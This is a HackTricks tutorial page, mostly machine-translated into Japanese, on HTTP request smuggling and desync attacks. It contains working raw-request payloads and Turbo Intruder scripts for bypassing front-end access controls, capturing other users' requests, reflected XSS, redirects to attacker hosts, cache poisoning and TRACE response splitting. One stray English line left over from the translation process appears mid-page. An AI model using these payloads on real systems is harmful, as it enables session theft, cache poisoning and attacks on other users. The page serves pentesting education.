HTTP Request Smuggling / HTTP Desync Attack
Reading time: 42 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
What is
この脆弱性は、フロントエンドプロキシとバックエンドサーバーの間に非同期化が発生し、攻撃者がHTTP リクエストを送信できるときに発生します。このリクエストは、フロントエンドプロキシ(ロードバランス/リバースプロキシ)によって単一のリクエストとして解釈され、バックエンドサーバーによって2つのリクエストとして解釈されます。
これにより、ユーザーは自分のリクエストの後にバックエンドサーバーに到着する次のリクエストを変更することができます。
Theory
メッセージがTransfer-EncodingヘッダーフィールドとContent-Lengthヘッダーフィールドの両方を持って受信された場合、後者は無視されなければなりません。
Content-Length
Content-Lengthエンティティヘッダーは、受信者に送信されるエンティティボディのサイズ(バイト単位)を示します。
Transfer-Encoding: chunked
Transfer-Encodingヘッダーは、ペイロードボディをユーザーに安全に転送するために使用されるエンコーディングの形式を指定します。
Chunkedは、大きなデータが一連のチャンクで送信されることを意味します。
Reality
フロントエンド(ロードバランス/リバースプロキシ)は_content-lengthまたはtransfer-encoding_ヘッダーを処理し、バックエンドサーバーは他のヘッダーを処理することで、2つのシステム間に非同期化を引き起こします。
これは非常に重大な問題であり、攻撃者はリバースプロキシに1つのリクエストを送信でき、それがバックエンドサーバーによって2つの異なるリクエストとして解釈されます。この技術の危険性は、バックエンドサーバーが2番目のリクエストを注入されたものとして解釈し、そのクライアントの実際のリクエストが注入されたリクエストの一部になることにあります。
Particularities
HTTPでは新しい行文字は2バイトで構成されています:
- Content-Length: このヘッダーは、リクエストのボディのバイト数を示すために10進数を使用します。ボディは最後の文字で終了することが期待されており、リクエストの最後に新しい行は必要ありません。
- Transfer-Encoding: このヘッダーは、ボディ内で16進数を使用して次のチャンクのバイト数を示します。チャンクは新しい行で終了しなければなりませんが、この新しい行は長さ指標にはカウントされません。この転送方法は、サイズ0のチャンクの後に2つの新しい行で終了しなければなりません:
0
- Connection: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**
Connection: keep-alive
**を使用することをお勧めします。
Basic Examples
tip
Burp Suiteを使用してこれを悪用しようとする場合、リピーターで**Update Content-Length
とNormalize HTTP/1 line endings
を無効にしてください**。なぜなら、一部のガジェットは新しい行、キャリッジリターン、そして不正なContent-Lengthを悪用するからです。
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーがContent-Length
(CL)およびTransfer-Encoding
(TE)ヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主にCL.TE、TE.CL、およびTE.TEとして異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表しています。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。
Basic Examples of Vulnerability Types
note
前の表にTE.0技術を追加する必要があります。CL.0技術のように、Transfer Encodingを使用します。
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
フロントエンド (CL):
Content-Length
ヘッダーに基づいてリクエストを処理します。 -
バックエンド (TE):
Transfer-Encoding
ヘッダーに基づいてリクエストを処理します。 -
攻撃シナリオ:
-
攻撃者は、
Content-Length
ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。 -
フロントエンドサーバーは、
Content-Length
の値に基づいてリクエスト全体をバックエンドに転送します。 -
バックエンドサーバーは、
Transfer-Encoding: chunked
ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別のリクエストとして解釈します。 -
例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
フロントエンド (TE):
Transfer-Encoding
ヘッダーに基づいてリクエストを処理します。 -
バックエンド (CL):
Content-Length
ヘッダーに基づいてリクエストを処理します。 -
攻撃シナリオ:
-
攻撃者は、チャンクサイズ(
7b
)と実際のコンテンツ長(Content-Length: 4
)が一致しないチャンクリクエストを送信します。 -
フロントエンドサーバーは、
Transfer-Encoding
を尊重し、リクエスト全体をバックエンドに転送します。 -
バックエンドサーバーは、
Content-Length
を尊重し、リクエストの最初の部分(7b
バイト)だけを処理し、残りを意図しない次のリクエストの一部として残します。 -
例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
サーバー: 両方とも
Transfer-Encoding
をサポートしていますが、一方は難読化を通じて無視されるように騙される可能性があります。 -
攻撃シナリオ:
-
攻撃者は、難読化された
Transfer-Encoding
ヘッダーを持つリクエストを送信します。 -
どちらのサーバー(フロントエンドまたはバックエンド)が難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
-
リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングを引き起こします。
-
例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- 両方のサーバーは、
Content-Length
ヘッダーのみに基づいてリクエストを処理します。 - このシナリオは通常、スムーギングには至らず、両方のサーバーがリクエストの長さを解釈する方法に整合性があります。
- 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
Content-Length
ヘッダーが存在し、ゼロ以外の値を持つシナリオを指し、リクエストボディにコンテンツがあることを示します。バックエンドはContent-Length
ヘッダーを無視します(これは0として扱われます)が、フロントエンドはそれを解析します。- これは、サーバーがリクエストの終わりを決定する方法に影響を与えるため、スムーギング攻撃を理解し、作成する上で重要です。
- 例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- 前のものと同様ですが、TEを使用しています。
- 技術はここで報告されています。
- 例:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
ウェブサーバーの破壊
この技術は、初期のHTTPデータを読み取る際にウェブサーバーを破壊することが可能なシナリオでも有用ですが、接続を閉じることなく行います。この方法では、HTTPリクエストのボディが次のHTTPリクエストとして扱われます。
例えば、この解説で説明されているように、WerkzeugではいくつかのUnicode文字を送信することでサーバーが破壊されることが可能でした。しかし、HTTP接続が**Connection: keep-alive
ヘッダーで作成された場合、リクエストのボディは読み取られず、接続は依然としてオープンのままとなり、リクエストのボディは次のHTTPリクエスト**として扱われます。
ホップバイホップヘッダーによる強制
ホップバイホップヘッダーを悪用することで、プロキシにContent-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です。
Connection: Content-Length
For more information about hop-by-hop headers visit:
Finding HTTP Request Smuggling
HTTPリクエストスムージングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に有用です。これらの方法に加えて、こうした脆弱性を見つけるために使用できる他の戦略やツールもあります。
Finding CL.TE Vulnerabilities Using Timing Techniques
-
Method:
-
アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observation:
-
フロントエンドサーバーは
Content-Length
に基づいてリクエストを処理し、メッセージを早期に切り捨てます。 -
バックエンドサーバーはチャンクメッセージを期待しており、到着しない次のチャンクを待つため、遅延が発生します。
-
Indicators:
-
タイムアウトや応答の長い遅延。
-
バックエンドサーバーから400 Bad Requestエラーを受け取ることがあり、時には詳細なサーバー情報が含まれます。
Finding TE.CL Vulnerabilities Using Timing Techniques
-
Method:
-
アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
-
Example:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observation:
- フロントエンドサーバーは
Transfer-Encoding
に基づいてリクエストを処理し、メッセージ全体を転送します。 - バックエンドサーバーは
Content-Length
に基づいてメッセージを期待し、到着しない追加データを待つため、遅延が発生します。
Other Methods to Find Vulnerabilities
- Differential Response Analysis:
- リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
- Using Automated Tools:
- Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな曖昧なリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。
- Content-Length Variance Tests:
- 実際のコンテンツ長と一致しないさまざまな
Content-Length
値を持つリクエストを送信し、サーバーがその不一致をどのように処理するかを観察します。 - Transfer-Encoding Variance Tests:
- 難読化または不正な
Transfer-Encoding
ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがその操作にどのように異なる応答を示すかを監視します。
HTTP Request Smuggling Vulnerability Testing
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、/
へのリクエストが404応答を返すようにします。前述のCL.TE
およびTE.CL
の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストを毒する方法を示しています。
Key Considerations
リクエストスムージングの脆弱性を他のリクエストに干渉してテストする際には、以下の点に留意してください:
- Distinct Network Connections: 「攻撃」と「通常」のリクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
- Consistent URL and Parameters: 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。
- Timing and Racing Conditions: 「通常」のリクエストは、「攻撃」リクエストからの干渉を検出するために、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「通常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
- Load Balancing Challenges: フロントエンドサーバーがロードバランサーとして機能している場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「通常」のリクエストが異なるシステムに到達した場合、攻撃は成功しません。このロードバランシングの側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
- Unintended User Impact: あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「通常」のリクエストではない)に意図せず影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムージングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、/admin
へのアクセスは外部から禁止されているかもしれませんが、フロントエンドプロキシはそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。
以下の例は、HTTPリクエストスムージングを使用してフロントエンドのセキュリティ制御を回避する方法を示しています。特に、通常フロントエンドプロキシによって保護されている/admin
パスをターゲットにしています:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
CL.TE攻撃では、最初のリクエストにContent-Length
ヘッダーが利用され、次の埋め込まれたリクエストはTransfer-Encoding: chunked
ヘッダーを使用します。フロントエンドプロキシは最初のPOST
リクエストを処理しますが、埋め込まれたGET /admin
リクエストを検査しないため、/admin
パスへの不正アクセスが可能になります。
TE.CLの例
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
逆に、TE.CL攻撃では、最初のPOST
リクエストがTransfer-Encoding: chunked
を使用し、その後の埋め込まれたリクエストはContent-Length
ヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシは密輸されたGET /admin
リクエストを見落とし、意図せずに制限された/admin
パスへのアクセスを許可します。
フロントエンドリクエストの書き換えを明らかにする
アプリケーションは、通常、フロントエンドサーバーを使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するためにX-Forwarded-For: <IP of the client>
のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、保護を回避する方法や隠された情報やエンドポイントを明らかにする方法を示す可能性があります。
プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。以下のように:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
この構造では、後続のリクエストコンポーネントが search=
の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。
ネストされたリクエストの Content-Length
ヘッダーを実際のコンテンツ長に合わせることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、高すぎるとリクエストがエラーになる可能性があります。
この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは search=\r\n0
で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。
他のユーザーのリクエストをキャプチャする
POST 操作中に特定のリクエストをパラメータの値として追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです:
次のリクエストをパラメータの値として追加することで、次のクライアントのリクエストを保存できます:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
このシナリオでは、comment parameterは公開アクセス可能なページの投稿コメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
しかし、この技術には制限があります。一般的に、これはスムグルされたリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は&
文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の&
で止まることを意味し、これはクエリ文字列の一部である可能性さえあります。
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストはsearch=\r\n0
で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
HTTPリクエストスムグリングを使用して反射型XSSを悪用する
HTTP Request Smugglingは、Reflected XSSに脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
- 対象ユーザーとの対話は不要です。
- HTTPリクエストヘッダーのような通常は到達不可能なリクエストの一部でXSSを悪用することができます。
ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
このペイロードは、脆弱性を悪用するために構成されています:
Transfer-Encoding: chunked
ヘッダーを使用して、密輸の開始を示す、見た目には典型的なPOST
リクエストを開始します。- 次に、チャンクメッセージボディの終わりを示す
0
が続きます。 - その後、密輸された
GET
リクエストが導入され、User-Agent
ヘッダーにスクリプト<script>alert(1)</script>
が注入され、サーバーがこの後続のリクエストを処理する際に XSS がトリガーされます。
User-Agent
を密輸によって操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
HTTP/0.9
caution
ユーザーコンテンツが Content-type
が text/plain
のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが HTTP/0.9 をサポートしている場合、これを回避できる可能性があります!
HTTP/0.9 バージョンは 1.0 の前のもので、GET 動詞のみを使用し、ヘッダー ではなくボディのみで応答します。
この書き込み では、リクエスト密輸と ユーザーの入力に応じて応答する脆弱なエンドポイント を使用して、HTTP/0.9 でリクエストを密輸することが悪用されました。レスポンスに反映されるパラメータには 偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む) が含まれており、レスポンスには Content-Type
が text/html
の有効な実行可能な JS コードが含まれます。
HTTP リクエスト密輸を使用したオンサイトリダイレクトの悪用
アプリケーションは、リダイレクト URL の Host
ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュがないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます:
GET /home HTTP/1.1
Host: normal-website.com
結果は:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
この無害に見える動作は、HTTPリクエストスムーギングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
このスムグルされたリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
結果は:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。
HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用
ウェブキャッシュポイズニングは、フロントエンドインフラストラクチャがコンテンツをキャッシュする任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、キャッシュをポイズンすることが可能です。
以前、サーバーの応答を変更して404エラーを返す方法を観察しました(基本的な例を参照)。同様に、サーバーを騙して/static/include.js
へのリクエストに対して/index.html
のコンテンツを提供させることも可能です。その結果、キャッシュ内の/static/include.js
のコンテンツが/index.html
のもので置き換えられ、/static/include.js
がユーザーにとってアクセス不可能になり、サービス拒否(DoS)につながる可能性があります。
この技術は、オープンリダイレクトの脆弱性が発見された場合や、オープンリダイレクトへのオンサイトリダイレクトがある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで/static/include.js
のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対する広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
以下は、キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために/static/include.js
のキャッシュコンテンツを変更することです:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
埋め込まれたリクエストが /post/next?postId=3
をターゲットにしていることに注意してください。このリクエストは /post?postId=4
にリダイレクトされ、Host ヘッダーの値を利用してドメインを決定します。Host ヘッダーを変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(オンサイトリダイレクトからオープンリダイレクト)。
成功したソケットポイズニングの後、/static/include.js
に対するGETリクエストを開始する必要があります。このリクエストは、以前のオンサイトリダイレクトからオープンリダイレクトリクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
その後、/static/include.js
に対するリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、効果的に広範なXSS攻撃を開始します。
HTTPリクエストスムージングを使用してウェブキャッシュデセプションを実行する
ウェブキャッシュポイズニングとウェブキャッシュデセプションの違いは何ですか?
- ウェブキャッシュポイズニングでは、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーにキャッシュから提供されます。
- ウェブキャッシュデセプションでは、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
攻撃者は、機密のユーザー固有のコンテンツを取得するためのスムージングリクエストを作成します。次の例を考えてみてください:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
このスムグルされたリクエストが静的コンテンツ(例:/someimage.png
)用のキャッシュエントリを汚染すると、被害者の/private/messages
からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
HTTPリクエストスムグリングを利用したTRACEの悪用
この投稿では サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用することが可能であると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
I'm ready to assist you with the translation. Please provide the text you would like to have translated.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
この動作を悪用する例としては、最初にHEADリクエストをスムグルことが挙げられます。このリクエストには、GETリクエストのヘッダーのみが応答されます(その中には**Content-Type
も含まれます)。そして、HEADの直後にTRACEリクエストをスムグルし、送信されたデータを反映させることができます。
HEADの応答にはContent-Length
ヘッダーが含まれるため、TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを反映させることができます。
この応答は接続上の次のリクエストに送信されるため、例えばキャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
HTTPレスポンス分割を利用したTRACEの悪用
この投稿を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントの通り、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストへの応答における一部の反映データを制御することが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストへの応答によって形成されます。
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです(これによりキャッシュポイズニングを実行することができます)。
例:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
これらのレスポンスを生成します(HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
HTTPリクエストスムーギングをHTTPレスポンスデシンクロナイゼーションで武器化する
HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください。
HTTP Response Smuggling / Desync
その他のHTTPリクエストスムーギング技術
- ブラウザHTTPリクエストスムーギング(クライアントサイド)
Browser HTTP Request Smuggling
- HTTP/2ダウングレードにおけるリクエストスムーギング
Request Smuggling in HTTP/2 Downgrades
ターボイントルーダースクリプト
CL.TE
From https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
From: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
ツール
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: このツールは、奇妙なリクエストスムグリングの不一致を見つけるのに役立つ文法ベースのHTTPファズァです。
参考文献
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。